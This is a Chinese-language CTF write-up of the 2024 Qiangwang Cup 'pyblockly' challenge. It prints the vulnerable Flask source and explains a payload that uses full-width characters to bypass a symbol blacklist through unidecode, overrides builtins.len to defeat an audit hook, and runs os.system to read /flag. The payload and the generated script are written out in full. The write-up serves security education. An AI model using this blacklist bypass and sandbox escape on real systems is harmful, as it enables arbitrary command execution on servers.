当前位置: 首页 > news >正文

pyblockly(2024强网杯)题解

补充知识:

1.unidecode.unidecode(original_text)函数

unidecode是一个python库,它将Unicode文本转换为最接近的ASCII表示

示例:

import unidecode ​ # 示例1: 带音调的字母 print(unidecode.unidecode("café")) # 输出: "cafe" print(unidecode.unidecode("naïve")) # 输出: "naive" ​ # 示例2: 非拉丁字母 print(unidecode.unidecode("北京")) # 输出: "Bei Jing" print(unidecode.unidecode("東京")) # 输出: "Dong Jing" ​ # 示例3: 特殊符号 print(unidecode.unidecode("©")) # 输出: "(c)" print(unidecode.unidecode("½")) # 输出: "1/2"

通常中文输入法是全角,英文输入法是半角。上述函数会将全角字符转化成半角字符,英文ASCII字符集只包含半角字符。在输入法状态栏右键能转换全角和半角。

题目:

from flask import Flask, request, jsonify import re import unidecode import string import ast import sys import os import subprocess import importlib.util import json app = Flask(__name__) app.config['JSON_AS_ASCII'] = False blacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]" def module_exists(module_name): spec = importlib.util.find_spec(module_name) if spec is None: return False if module_name in sys.builtin_module_names: return True if spec.origin: std_lib_path = os.path.dirname(os.__file__) if spec.origin.startswith(std_lib_path) and not spec.origin.startswith(os.getcwd()): return True return False def verify_secure(m): for node in ast.walk(m): match type(node): case ast.Import: print("ERROR: Banned module ") return False case ast.ImportFrom: print(f"ERROR: Banned module {node.module}") return False return True def check_for_blacklisted_symbols(input_text): if re.search(blacklist_pattern, input_text): return True else: return False def block_to_python(block): block_type = block['type'] code = '' if block_type == 'print': text_block = block['inputs']['TEXT']['block'] text = block_to_python(text_block) code = f"print({text})" elif block_type == 'math_number': if str(block['fields']['NUM']).isdigit(): code = int(block['fields']['NUM']) else: code = '' elif block_type == 'text': if check_for_blacklisted_symbols(block['fields']['TEXT']): code = '' else: code = "'" + unidecode.unidecode(block['fields']['TEXT']) + "'" elif block_type == 'max': a_block = block['inputs']['A']['block'] b_block = block['inputs']['B']['block'] a = block_to_python(a_block) b = block_to_python(b_block) code = f"max({a}, {b})" elif block_type == 'min': a_block = block['inputs']['A']['block'] b_block = block['inputs']['B']['block'] a = block_to_python(a_block) b = block_to_python(b_block) code = f"min({a}, {b})" if 'next' in block: block = block['next']['block'] code +="\n" + block_to_python(block)+ "\n" else: return code return code def json_to_python(blockly_data): block = blockly_data['blocks']['blocks'][0] python_code = "" python_code += block_to_python(block) + "\n" return python_code def do(source_code): hook_code = ''' def my_audit_hook(event_name, arg): blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"] if len(event_name) > 4: raise RuntimeError("Too Long!") for bad in blacklist: if bad in event_name: raise RuntimeError("No!") __import__('sys').addaudithook(my_audit_hook) ''' print(source_code) code = hook_code + source_code tree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST) try: if verify_secure(tree): with open("run.py", 'w') as f: f.write(code) result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8") os.remove('run.py') return result else: return "Execution aborted due to security concerns." except: os.remove('run.py') return "Timeout!" @app.route('/') def index(): return app.send_static_file('index.html') @app.route('/blockly_json', methods=['POST']) def blockly_json(): blockly_data = request.get_data() print(type(blockly_data)) blockly_data = json.loads(blockly_data.decode('utf-8')) print(blockly_data) try: python_code = json_to_python(blockly_data) return do(python_code) except Exception as e: return jsonify({"error": "Error generating Python code", "details": str(e)}) if __name__ == '__main__': app.run(host = '0.0.0.0')

解题:

这里使用的payload为:

{ "blocks":{ "blocks":[ { "type":"text", "fields":{ "TEXT":"‘\n__import__(”builtins”)。len=lambda a:1;__import__(‘os’)。system(‘dd$IFS$9if=/flag’)#" }, "inputs":{ } } ] } }

1.先复现题目环境

进入app.py所在目录,执行python app.py

访问http://127.0.0.1:5000/进入题目环境,因为在app.py中显示ifname== 'main': app.run(host='0.0.0.0') 这里并没有指定端口,flask默认使用5000,如果5000被占用可能自动选择其他。

2.使用POST请求将上面的payload传入后,request.get_data()返回的是原始字节数据,假设传入如下blockly_data =b'{"blocks":{"blocks":[{"type":"text","fields":{"TEXT":"‘\n__import__(”builtins”)。len=lambda a:1;__import__(‘os’)。system(‘ls$IFS$9/’)#"},"inputs":{}}]}}',前面的b'表示这是字节数据,不是普通字符串。blockly_data.decode('utf-8')解码为字符串,得到'{"blocks":{"blocks":[{"type":"text","fields":{"TEXT":"‘\n__import__(”builtins”)。len=lambda a:1;__import__(‘os’)。system(‘ls$IFS$9/’)#"},"inputs":{}}]}}'。json.loads(json_string)的意思是:将JSON字符串解析为Python字典。所以最后得到python字典,blockly_data={"blocks":{"blocks":[{"type":"text","fields":{"TEXT":"‘\n__import__(”builtins”)。len=lambda a:1;__import__(‘os’)。system(‘ls$IFS$9/’)#"},"inputs":{}}]}}

blockly_data = request.get_data() blockly_data = json.loads(blockly_data.decode('utf-8'))

3.然后进入json_to_python函数,block={"type":"text","fields":{"TEXT":"‘\n__import__(”builtins”)。len=lambda a:1;__import__(‘os’)。system(‘ls$IFS$9/’)#"},"inputs":{}}

def json_to_python(blockly_data): block = blockly_data['blocks']['blocks'][0] python_code = "" python_code += block_to_python(block) + "\n" return python_code

4.进入block_to_python函数,因为block传入的类型是text,所以对其进行黑名单检查,传入的参数为"‘\n__import__(”builtins”)。len=lambda a:1;__import__(‘os’)。system(‘dd$IFS$9if=/flag’)#"

elif block_type == 'text': if check_for_blacklisted_symbols(block['fields']['TEXT']): code = '' else: code = "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"

5.re.search()搜索传入字符串有没有上面黑名单字符,由于黑名单字符使用的是半角,传入字符串使用的都是全角,所以没有匹配的字符,返回False,所以执行步骤4里面的else,将字符串内容转化为ASCII字符,也就是转变成半角格式,可以被正常读取。最后返回的code="'`\n__import__("builtins").len=lambda a:1;__import__('os').system('dd$IFS$9if=/flag')#'"

def check_for_blacklisted_symbols(input_text): if re.search(blacklist_pattern, input_text): return True else: return False

6.再看主函数,接着进入do函数,将步骤5里面的code和下面的hook_code进行拼接为code,并且写入run.py

def do(source_code): hook_code = ''' def my_audit_hook(event_name, arg): blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"] if len(event_name) > 4: raise RuntimeError("Too Long!") for bad in blacklist: if bad in event_name: raise RuntimeError("No!") ​ __import__('sys').addaudithook(my_audit_hook) ​ ''' print(source_code) code = hook_code + source_code tree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST) try: if verify_secure(tree): with open("run.py", 'w') as f: f.write(code) result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8") os.remove('run.py') return result else: return "Execution aborted due to security concerns." except: os.remove('run.py') return "Timeout!"

最后得到的run.py为

def my_audit_hook(event_name, arg): blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"] if len(event_name) > 4: raise RuntimeError("Too Long!") for bad in blacklist: if bad in event_name: raise RuntimeError("No!") __import__('sys').addaudithook(my_audit_hook) ''\n__import__("builtins").len=lambda a:1;__import__('os').system('dd$IFS$9if=/flag')#'

result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5)这相当于在命令行执行python run.py,后面的stdout.decode("utf-8")意思是将字符输出解码为UTF-8字符串

7.执行run.py时,python遇到最后一行时一个独立的字符串表达式,它创建字符串对象并且执行字符串中的表达式。__import__("builtins").len=lambda a:1;导入builtins模块并重写len函数,使得上面的长度判断通过,import('os').system('dd$IFS$9if=/flag')导入os模块并运行系统命令,执行dd if=/flag,这里使用dd是磁盘复制,$IFS空格,$9位置参数,用来把$IFS和后面的命令分隔开,if是input file 输入文件,/flag读取文件路径。

import是python语句(语法关键字)

import是内置函数调用

import os和os=import("os")的效果相同

import sys时就会自动加载builtins,所以import("builtins").len=lambda a:1;没有新的导入行为发生,只是简单赋值,所以没有引起审计钩子,下面的builtins.len只是简单赋值,也不会触发审计钩子。

http://www.jsqmd.com/news/500208/

相关文章:

  • 依赖冲突快速解决
  • nvm安装nodejs配置教程
  • Ubuntu NVIDIA显卡驱动安装
  • 如何避免死锁?
  • Day8-MySQL-多表查询-1
  • Oracle DG / ADG日常巡检操作指南
  • 2026年靠谱的庭院智能灯光设计厂家推荐:餐饮智能灯光设计精选厂家 - 行业平台推荐
  • 适合老年肌少症吃的保健品品牌有哪些:乳清蛋白配方测评(附榜单) - 品牌排行榜
  • ArkClaw vs KimiClaw vs MaxClaw:个人用户实际体验对比
  • CLM陆面过程模式详细应用教程
  • 满意度调研服务哪家公司性价比高:实力榜单(附评测) - 品牌排行榜
  • 2026年用友软件服务商深度测评:五家高性价比伙伴谁主沉浮? - 2026年企业推荐榜
  • 异步 gRPC 服务器调试
  • 微信接口调不通 500 未知错误
  • 靶机CTF5wp
  • 只有住宿费没车票可以报差旅费吗?出差党必看报销攻略在此|避坑指南 - 匠言榜单
  • 宿迁企业必看:2026年高性价比超声波探伤服务采购全攻略 - 2026年企业推荐榜
  • AquaCrop模型农业水资源管理及代码解析
  • ros1服务通信如何保证消息对应
  • 【会议投稿指南】2026年4-5月人工智能学术会议信息汇总 | 人工智能领域国际学术会议征稿信息速览 | AI人必备合集,一键速览AI会议冲刺表,高录用率+EI/Scopus双保障+稳EI检索!
  • 2026年口碑好的灯饰照明公司推荐:护眼灯饰照明/服装店定制灯饰照明/嘉兴旧房改造灯饰照明公司推荐 - 行业平台推荐
  • 美国有哪些公司可以提供OPT挂靠?合规渠道+避坑指南(2026版) - 品牌排行榜
  • 【网络协议】P2P技术
  • 老房焕新,决胜未来:2026年高性价比翻新品牌深度解析与选型指南 - 2026年企业推荐榜
  • 客户拜访记录app免费软件好用吗? - 企业数字化观察家
  • 【研报239】全球贸易变局中的印度汽车零部件产业研究报告
  • 想养一只AI“龙虾”?蓝队云2核4G+10M带宽的配置就够了!
  • 温州地区摩托车高压包市场观察与品牌推荐 - 2026年企业推荐榜
  • 财务AI怎么选?三大技术路径与厂商对比解析(2026)
  • db-scheduler task 类型